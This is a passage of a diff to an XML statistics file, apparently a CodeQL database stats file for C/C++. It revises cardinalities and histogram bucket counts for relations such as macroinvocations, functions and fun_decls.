                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>557759</v>
+                                    <v>557797</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>263786</v>
+                                    <v>263804</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
-                                    <v>563401</v>
+                                    <v>563439</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>12</b>
-                                    <v>390245</v>
+                                    <v>390272</v>
                                 </b>
                                 <b>
                                     <a>12</a>
                                     <b>50</b>
-                                    <v>405678</v>
+                                    <v>405705</v>
                                 </b>
                                 <b>
                                     <a>50</a>
                                     <b>9900</b>
-                                    <v>150035</v>
+                                    <v>150045</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12280,67 +12305,67 @@
                                 <b>
                                     <a>1</a>
                                     <b>4</b>
-                                    <v>228146</v>
+                                    <v>228162</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>7</b>
-                                    <v>230808</v>
+                                    <v>230823</v>
                                 </b>
                                 <b>
                                     <a>7</a>
                                     <b>9</b>
-                                    <v>219545</v>
+                                    <v>219560</v>
                                 </b>
                                 <b>
                                     <a>9</a>
                                     <b>12</b>
-                                    <v>250025</v>
+                                    <v>250042</v>
                                 </b>
                                 <b>
                                     <a>12</a>
                                     <b>13</b>
-                                    <v>332565</v>
+                                    <v>332588</v>
                                 </b>
                                 <b>
                                     <a>13</a>
                                     <b>14</b>
-                                    <v>164888</v>
+                                    <v>164899</v>
                                 </b>
                                 <b>
                                     <a>14</a>
                                     <b>15</b>
-                                    <v>297580</v>
+                                    <v>297600</v>
                                 </b>
                                 <b>
                                     <a>15</a>
                                     <b>16</b>
-                                    <v>121327</v>
+                                    <v>121336</v>
                                 </b>
                                 <b>
                                     <a>16</a>
                                     <b>17</b>
-                                    <v>275438</v>
+                                    <v>275457</v>
                                 </b>
                                 <b>
                                     <a>17</a>
                                     <b>18</b>
-                                    <v>146319</v>
+                                    <v>146328</v>
                                 </b>
                                 <b>
                                     <a>18</a>
                                     <b>20</b>
-                                    <v>251068</v>
+                                    <v>251085</v>
                                 </b>
                                 <b>
                                     <a>20</a>
                                     <b>25</b>
-                                    <v>208095</v>
+                                    <v>208109</v>
                                 </b>
                                 <b>
                                     <a>25</a>
                                     <b>109</b>
-                                    <v>47183</v>
+                                    <v>47186</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12350,19 +12375,19 @@
         </relation>
         <relation>
             <name>macroinvocations</name>
-            <cardinality>34062185</cardinality>
+            <cardinality>33895024</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>34062185</v>
+                    <v>33895024</v>
                 </e>
                 <e>
                     <k>macro_id</k>
-                    <v>81572</v>
+                    <v>81382</v>
                 </e>
                 <e>
                     <k>location</k>
-                    <v>779877</v>
+                    <v>778558</v>
                 </e>
                 <e>
                     <k>kind</k>
@@ -12380,7 +12405,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>34062185</v>
+                                    <v>33895024</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12396,7 +12421,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>34062185</v>
+                                    <v>33895024</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12412,7 +12437,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>34062185</v>
+                                    <v>33895024</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12428,52 +12453,57 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>16835</v>
+                                    <v>17578</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>17322</v>
+                                    <v>16977</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>3846</v>
+                                    <v>3700</v>
                                 </b>
                                 <b>
                                     <a>4</a>
-                                    <b>6</b>
-                                    <v>7323</v>
+                                    <b>5</b>
+                                    <v>4880</v>
                                 </b>
                                 <b>
-                                    <a>6</a>
-                                    <b>11</b>
-                                    <v>7265</v>
+                                    <a>5</a>
+                                    <b>8</b>
+                                    <v>6048</v>
                                 </b>
                                 <b>
-                                    <a>11</a>
-                                    <b>21</b>
-                                    <v>6546</v>
+                                    <a>8</a>
+                                    <b>14</b>
+                                    <v>6406</v>
                                 </b>
                                 <b>
-                                    <a>21</a>
-                                    <b>47</b>
-                                    <v>6257</v>
+                                    <a>14</a>
+                                    <b>29</b>
+                                    <v>6291</v>
                                 </b>
                                 <b>
-                                    <a>47</a>
-                                    <b>143</b>
-                                    <v>6117</v>
+                                    <a>29</a>
+                                    <b>72</b>
+                                    <v>6106</v>
                                 </b>
                                 <b>
-                                    <a>143</a>
-                                    <b>934</b>
-                                    <v>6152</v>
+                                    <a>72</a>
+                                    <b>247</b>
+                                    <v>6129</v>
                                 </b>
                                 <b>
-                                    <a>934</a>
-                                    <b>168391</b>
-                                    <v>3904</v>
+                                    <a>248</a>
+                                    <b>4166</b>
+                                    <v>6106</v>
+                                </b>
+                                <b>
+                                    <a>4220</a>
+                                    <b>168296</b>
+                                    <v>1156</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12489,37 +12519,37 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>43648</v>
+                                    <v>43507</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>10648</v>
+                                    <v>10651</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>5295</v>
+                                    <v>5285</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>6</b>
-                                    <v>7010</v>
+                                    <v>6985</v>
                                 </b>
                                 <b>
                                     <a>6</a>
                                     <b>13</b>
-                                    <v>6627</v>
+                                    <v>6626</v>
                                 </b>
                                 <b>
                                     <a>13</a>
                                     <b>66</b>
-                                    <v>6152</v>
+                                    <v>6140</v>
                                 </b>
                                 <b>
                                     <a>66</a>
                                     <b>3614</b>
-                                    <v>2189</v>
+                                    <v>2185</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12535,12 +12565,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>75732</v>
+                                    <v>75553</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>5839</v>
+                                    <v>5828</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12556,42 +12586,37 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>297219</v>
+                                    <v>320983</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>195287</v>
+                                    <v>177752</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>48978</v>
+                                    <v>47300</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
-                                    <v>57610</v>
+                                    <v>59605</v>
                                 </b>
                                 <b>
                                     <a>5</a>
-                                    <b>8</b>
-                                    <v>59059</v>
+                                    <b>9</b>
+                                    <v>68533</v>
                                 </b>
                                 <b>
-                                    <a>8</a>
-                                    <b>17</b>
-                                    <v>59267</v>
+                                    <a>9</a>
+                                    <b>23</b>
+                                    <v>58425</v>
                                 </b>
                                 <b>
-                                    <a>17</a>
-                                    <b>934</b>
-                                    <v>58572</v>
-                                </b>
-                                <b>
-                                    <a>942</a>
-                                    <b>244474</b>
-                                    <v>3881</v>
+                                    <a>23</a>
+                                    <b>244365</b>
+                                    <v>45958</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12607,12 +12632,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>732509</v>
+                                    <v>731281</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>350</b>
-                                    <v>47367</v>
+                                    <v>47277</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12628,7 +12653,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>779877</v>
+                                    <v>778558</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12642,13 +12667,13 @@
                             <budget>12</budget>
                             <bs>
                                 <b>
-                                    <a>21085</a>
-                                    <b>21086</b>
+                                    <a>20414</a>
+                                    <b>20415</b>
                                     <v>11</v>
                                 </b>
                                 <b>
-                                    <a>2918595</a>
-                                    <b>2918596</b>
+                                    <a>2910446</a>
+                                    <b>2910447</b>
                                     <v>11</v>
                                 </b>
                             </bs>
@@ -12668,8 +12693,8 @@
                                     <v>11</v>
                                 </b>
                                 <b>
-                                    <a>5421</a>
-                                    <b>5422</b>
+                                    <a>5418</a>
+                                    <b>5419</b>
                                     <v>11</v>
                                 </b>
                             </bs>
@@ -12684,13 +12709,13 @@
                             <budget>12</budget>
                             <bs>
                                 <b>
-                                    <a>6289</a>
-                                    <b>6290</b>
+                                    <a>6291</a>
+                                    <b>6292</b>
                                     <v>11</v>
                                 </b>
                                 <b>
-                                    <a>61017</a>
-                                    <b>61018</b>
+                                    <a>61030</a>
+                                    <b>61031</b>
                                     <v>11</v>
                                 </b>
                             </bs>
@@ -12701,15 +12726,15 @@
         </relation>
         <relation>
             <name>macroparent</name>
-            <cardinality>30544569</cardinality>
+            <cardinality>30455631</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>30544569</v>
+                    <v>30455631</v>
                 </e>
                 <e>
                     <k>parent_id</k>
-                    <v>23768631</v>
+                    <v>23698229</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -12723,7 +12748,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>30544569</v>
+                                    <v>30455631</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12739,17 +12764,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>18363231</v>
+                                    <v>18307194</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>4552338</v>
+                                    <v>4540068</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>88</b>
-                                    <v>853060</v>
+                                    <v>850966</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12759,15 +12784,15 @@
         </relation>
         <relation>
             <name>macrolocationbind</name>
-            <cardinality>3984360</cardinality>
+            <cardinality>3984640</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>2778691</v>
+                    <v>2778886</v>
                 </e>
                 <e>
                     <k>location</k>
-                    <v>1988314</v>
+                    <v>1988454</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -12781,22 +12806,22 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>2182951</v>
+                                    <v>2183104</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>336419</v>
+                                    <v>336443</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>7</b>
-                                    <v>229799</v>
+                                    <v>229815</v>
                                 </b>
                                 <b>
                                     <a>7</a>
                                     <b>57</b>
-                                    <v>29521</v>
+                                    <v>29523</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12812,22 +12837,22 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1589477</v>
+                                    <v>1589588</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>169635</v>
+                                    <v>169647</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>8</b>
-                                    <v>154222</v>
+                                    <v>154233</v>
                                 </b>
                                 <b>
                                     <a>8</a>
                                     <b>723</b>
-                                    <v>74979</v>
+                                    <v>74984</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12837,19 +12862,19 @@
         </relation>
         <relation>
             <name>macro_argument_unexpanded</name>
-            <cardinality>86422356</cardinality>
+            <cardinality>86176891</cardinality>
             <columnsizes>
                 <e>
                     <k>invocation</k>
-                    <v>26658798</v>
+                    <v>26568376</v>
                 </e>
                 <e>
                     <k>argument_index</k>
-                    <v>764</v>
+                    <v>763</v>
                 </e>
                 <e>
                     <k>text</k>
-                    <v>326615</v>
+                    <v>326094</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -12863,22 +12888,22 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>7473686</v>
+                                    <v>7436803</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>10892801</v>
+                                    <v>10861705</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>6274590</v>
+                                    <v>6256816</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>67</b>
-                                    <v>2017720</v>
+                                    <v>2013051</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12894,22 +12919,22 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>7545213</v>
+                                    <v>7508019</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>11043502</v>
+                                    <v>11011575</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>6104017</v>
+                                    <v>6087240</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>67</b>
-                                    <v>1966065</v>
+                                    <v>1961541</v>
                                 </b>
                             </bs>
                         </hist>
@@ -12923,18 +12948,18 @@
                             <budget>12</budget>
                             <bs>
                                 <b>
-                                    <a>41253</a>
-                                    <b>41254</b>
-                                    <v>672</v>
+                                    <a>41230</a>
+                                    <b>41231</b>
+                                    <v>670</v>
                                 </b>
                                 <b>
-                                    <a>41455</a>
-                                    <b>174137</b>
+                                    <a>41432</a>
+                                    <b>174067</b>
                                     <v>57</v>
                                 </b>
                                 <b>
-                                    <a>715654</a>
-                                    <b>2300744</b>
+                                    <a>715085</a>
+                                    <b>2297335</b>
                                     <v>34</v>
                                 </b>
                             </bs>
@@ -12951,7 +12976,7 @@
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>672</v>
+                                    <v>670</v>
                                 </b>
                                 <b>
                                     <a>13</a>
@@ -12960,7 +12985,7 @@
                                 </b>
                                 <b>
                                     <a>6559</a>
-                                    <b>19569</b>
+                                    <b>19579</b>
                                     <v>34</v>
                                 </b>
                             </bs>
@@ -12977,57 +13002,57 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>39998</v>
+                                    <v>40858</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>66161</v>
+                                    <v>65607</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>14947</v>
+                                    <v>15184</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
-                                    <v>44065</v>
+                                    <v>45103</v>
                                 </b>
                                 <b>
                                     <a>5</a>
-                                    <b>7</b>
-                                    <v>24761</v>
+                                    <b>8</b>
+                                    <v>25569</v>
                                 </b>
                                 <b>
-                                    <a>7</a>
+                                    <a>8</a>
                                     <b>12</b>
-                                    <v>18643</v>
+                                    <v>16075</v>
                                 </b>
                                 <b>
                                     <a>12</a>
                                     <b>16</b>
-                                    <v>22281</v>
+                                    <v>22297</v>
                                 </b>
                                 <b>
                                     <a>16</a>
                                     <b>23</b>
-                                    <v>26673</v>
+                                    <v>26518</v>
                                 </b>
                                 <b>
                                     <a>23</a>
                                     <b>43</b>
-                                    <v>24784</v>
+                                    <v>24748</v>
                                 </b>
                                 <b>
                                     <a>43</a>
                                     <b>164</b>
-                                    <v>24506</v>
+                                    <v>24459</v>
                                 </b>
                                 <b>
                                     <a>164</a>
-                                    <b>521728</b>
-                                    <v>19790</v>
+                                    <b>521384</b>
+                                    <v>19671</v>
                                 </b>
                             </bs>
                         </hist>
@@ -13043,17 +13068,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>236190</v>
+                                    <v>235830</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>79869</v>
+                                    <v>79728</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>9</b>
-                                    <v>10555</v>
+                                    <v>10535</v>
                                 </b>
                             </bs>
                         </hist>
@@ -13063,19 +13088,19 @@
         </relation>
         <relation>
             <name>macro_argument_expanded</name>
-            <cardinality>86422356</cardinality>
+            <cardinality>86176891</cardinality>
             <columnsizes>
                 <e>
                     <k>invocation</k>
-                    <v>26658798</v>
+                    <v>26568376</v>
                 </e>
                 <e>
                     <k>argument_index</k>
-                    <v>764</v>
+                    <v>763</v>
                 </e>
                 <e>
                     <k>text</k>
-                    <v>197906</v>
+                    <v>197597</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -13089,22 +13114,22 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>7473686</v>
+                                    <v>7436803</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>10892801</v>
+                                    <v>10861705</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>6274590</v>
+                                    <v>6256816</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>67</b>
-                                    <v>2017720</v>
+                                    <v>2013051</v>
                                 </b>
                             </bs>
                         </hist>
@@ -13120,22 +13145,22 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>10794971</v>
+                                    <v>10747757</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>9400379</v>
+                                    <v>9374150</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>5321625</v>
+                                    <v>5307004</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>9</b>
-                                    <v>1141821</v>
+                                    <v>1139463</v>
                                 </b>
                             </bs>
                         </hist>
@@ -13149,18 +13174,18 @@
                             <budget>12</budget>
                             <bs>
                                 <b>
-                                    <a>41253</a>
-                                    <b>41254</b>
-                                    <v>672</v>
+                                    <a>41230</a>
+                                    <b>41231</b>
+                                    <v>670</v>
                                 </b>
                                 <b>
-                                    <a>41455</a>
-                                    <b>174137</b>
+                                    <a>41432</a>
+                                    <b>174067</b>
                                     <v>57</v>
                                 </b>
                                 <b>
-                                    <a>715654</a>
-                                    <b>2300744</b>
+                                    <a>715085</a>
+                                    <b>2297335</b>
                                     <v>34</v>
                                 </b>
                             </bs>
@@ -13177,7 +13202,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>660</v>
+                                    <v>659</v>
                                 </b>
                                 <b>
                                     <a>2</a>
@@ -13186,7 +13211,7 @@
                                 </b>
                                 <b>
                                     <a>870</a>
-                                    <b>13871</b>
+                                    <b>13877</b>
                                     <v>46</v>
                                 </b>
                             </bs>
@@ -13203,62 +13228,62 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>24008</v>
+                                    <v>24552</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>41238</v>
+                                    <v>41147</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>6940</v>
+                                    <v>6927</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
-                                    <v>15874</v>
+                                    <v>16364</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>6</b>
-                                    <v>3835</v>
+                                    <v>2995</v>
                                 </b>
                                 <b>
                                     <a>6</a>
                                     <b>7</b>
-                                    <v>23324</v>
+                                    <v>23291</v>
                                 </b>
                                 <b>
                                     <a>7</a>
                                     <b>9</b>
-                                    <v>15457</v>
+                                    <v>15982</v>
                                 </b>
                                 <b>
                                     <a>9</a>
                                     <b>15</b>
-                                    <v>17345</v>
+                                    <v>16699</v>
                                 </b>
                                 <b>
                                     <a>15</a>
-                                    <b>30</b>
-                                    <v>14842</v>
+                                    <b>31</b>
+                                    <v>15589</v>
                                 </b>
                                 <b>
-                                    <a>30</a>
-                                    <b>89</b>
-                                    <v>14947</v>
+                                    <a>31</a>
+                                    <b>97</b>
+                                    <v>15080</v>
                                 </b>
                                 <b>
-                                    <a>90</a>
-                                    <b>505</b>
-                                    <v>14854</v>
+                                    <a>97</a>
+                                    <b>775</b>
+                                    <v>15485</v>
                                 </b>
                                 <b>
-                                    <a>510</a>
-                                    <b>1054483</b>
-                                    <v>5237</v>
+                                    <a>775</a>
+                                    <b>1052916</b>
+                                    <v>3481</v>
                                 </b>
                             </bs>
                         </hist>
@@ -13274,17 +13299,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>100112</v>
+                                    <v>99989</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>83009</v>
+                                    <v>82850</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>66</b>
-                                    <v>14785</v>
+                                    <v>14756</v>
                                 </b>
                             </bs>
                         </hist>
@@ -13294,19 +13319,19 @@
         </relation>
         <relation>
             <name>functions</name>
-            <cardinality>4759741</cardinality>
+            <cardinality>4726273</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>4759741</v>
+                    <v>4726273</v>
                 </e>
                 <e>
                     <k>name</k>
-                    <v>1941845</v>
+                    <v>1934352</v>
                 </e>
                 <e>
                     <k>kind</k>
-                    <v>3304</v>
+                    <v>3292</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -13320,7 +13345,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>4759741</v>
+                                    <v>4726273</v>
                                 </b>
                             </bs>
                         </hist>
@@ -13336,7 +13361,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>4759741</v>
+                                    <v>4726273</v>
                                 </b>
                             </bs>
                         </hist>
@@ -13352,22 +13377,22 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1523173</v>
+                                    <v>1516622</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>153875</v>
+                                    <v>154296</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>5</b>
-                                    <v>151986</v>
+                                    <v>151003</v>
                                 </b>
                                 <b>
                                     <a>5</a>
-                                    <b>1754</b>
-                                    <v>112810</v>
+                                    <b>1724</b>
+                                    <v>112429</v>
                                 </b>
                             </bs>
                         </hist>
@@ -13383,12 +13408,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1941373</v>
+                                    <v>1933881</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                             </bs>
                         </hist>
@@ -13404,37 +13429,37 @@
                                 <b>
                                     <a>6</a>
                                     <b>7</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
                                     <a>64</a>
                                     <b>65</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
                                     <a>173</a>
                                     <b>174</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
                                     <a>195</a>
                                     <b>196</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
-                                    <a>1365</a>
-                                    <b>1366</b>
-                                    <v>472</v>
+                                    <a>1358</a>
+                                    <b>1359</b>
+                                    <v>470</v>
                                 </b>
                                 <b>
-                                    <a>2462</a>
-                                    <b>2463</b>
-                                    <v>472</v>
+                                    <a>2432</a>
+                                    <b>2433</b>
+                                    <v>470</v>
                                 </b>
                                 <b>
                                     <a>5819</a>
                                     <b>5820</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                             </bs>
                         </hist>
@@ -13450,37 +13475,37 @@
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
                                     <a>33</a>
                                     <b>34</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
                                     <a>39</a>
                                     <b>40</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
                                     <a>94</a>
                                     <b>95</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
                                     <a>195</a>
                                     <b>196</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
-                                    <a>246</a>
-                                    <b>247</b>
-                                    <v>472</v>
+                                    <a>244</a>
+                                    <b>245</b>
+                                    <v>470</v>
                                 </b>
                                 <b>
                                     <a>3505</a>
                                     <b>3506</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                             </bs>
                         </hist>
@@ -13490,15 +13515,15 @@
         </relation>
         <relation>
             <name>function_entry_point</name>
-            <cardinality>1180967</cardinality>
+            <cardinality>1176981</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>1171054</v>
+                    <v>1167103</v>
                 </e>
                 <e>
                     <k>entry_point</k>
-                    <v>1180967</v>
+                    <v>1176981</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -13512,12 +13537,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1161142</v>
+                                    <v>1157224</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>9912</v>
+                                    <v>9878</v>
                                 </b>
                             </bs>
                         </hist>
@@ -13533,7 +13558,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1180967</v>
+                                    <v>1176981</v>
                                 </b>
                             </bs>
                         </hist>
@@ -13543,15 +13568,15 @@
         </relation>
         <relation>
             <name>function_return_type</name>
-            <cardinality>4768237</cardinality>
+            <cardinality>4734741</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>4759741</v>
+                    <v>4726273</v>
                 </e>
                 <e>
                     <k>return_type</k>
-                    <v>1027092</v>
+                    <v>1016569</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -13565,12 +13590,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>4752660</v>
+                                    <v>4719217</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>5</b>
-                                    <v>7080</v>
+                                    <v>7056</v>
                                 </b>
                             </bs>
                         </hist>
@@ -13586,22 +13611,22 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>524874</v>
+                                    <v>523103</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>398847</v>
+                                    <v>390445</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>11</b>
-                                    <v>78825</v>
+                                    <v>78559</v>
                                 </b>
                                 <b>
                                     <a>11</a>
-                                    <b>2523</b>
-                                    <v>24544</v>
+                                    <b>2516</b>
+                                    <v>24461</v>
                                 </b>
                             </bs>
                         </hist>
@@ -13923,48 +13948,48 @@
         </relation>
         <relation>
             <name>purefunctions</name>
-            <cardinality>99735</cardinality>
+            <cardinality>99448</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>99735</v>
+                    <v>99448</v>
                 </e>
             </columnsizes>
             <dependencies/>
         </relation>
         <relation>
             <name>function_deleted</name>
-            <cardinality>141130</cardinality>
+            <cardinality>140654</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>141130</v>
+                    <v>140654</v>
                 </e>
             </columnsizes>
             <dependencies/>
         </relation>
         <relation>
             <name>function_defaulted</name>
-            <cardinality>74577</cardinality>
+            <cardinality>74325</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>74577</v>
+                    <v>74325</v>
                 </e>
             </columnsizes>
             <dependencies/>
         </relation>
         <relation>
             <name>member_function_this_type</name>
-            <cardinality>549916</cardinality>
+            <cardinality>553641</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>549916</v>
+                    <v>553641</v>
                 </e>
                 <e>
                     <k>this_type</k>
-                    <v>188354</v>
+                    <v>189690</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -13978,7 +14003,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>549916</v>
+                                    <v>553641</v>
                                 </b>
                             </bs>
                         </hist>
@@ -13994,32 +14019,32 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>68044</v>
+                                    <v>68526</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>45024</v>
+                                    <v>45414</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>30331</v>
+                                    <v>30475</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
-                                    <v>15428</v>
+                                    <v>15537</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>7</b>
-                                    <v>15497</v>
+                                    <v>15607</v>
                                 </b>
                                 <b>
                                     <a>7</a>
                                     <b>66</b>
-                                    <v>14028</v>
+                                    <v>14128</v>
                                 </b>
                             </bs>
                         </hist>
@@ -14029,27 +14054,27 @@
         </relation>
         <relation>
             <name>fun_decls</name>
-            <cardinality>5136876</cardinality>
+            <cardinality>5102136</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>5131684</v>
+                    <v>5096962</v>
                 </e>
                 <e>
                     <k>function</k>
-                    <v>4611530</v>
+                    <v>4578563</v>
                 </e>
                 <e>
                     <k>type_id</k>
-                    <v>1023788</v>
+                    <v>1013276</v>
                 </e>
                 <e>
                     <k>name</k>
-                    <v>1843196</v>
+                    <v>1836035</v>
                 </e>
                 <e>
                     <k>location</k>
-                    <v>3473987</v>
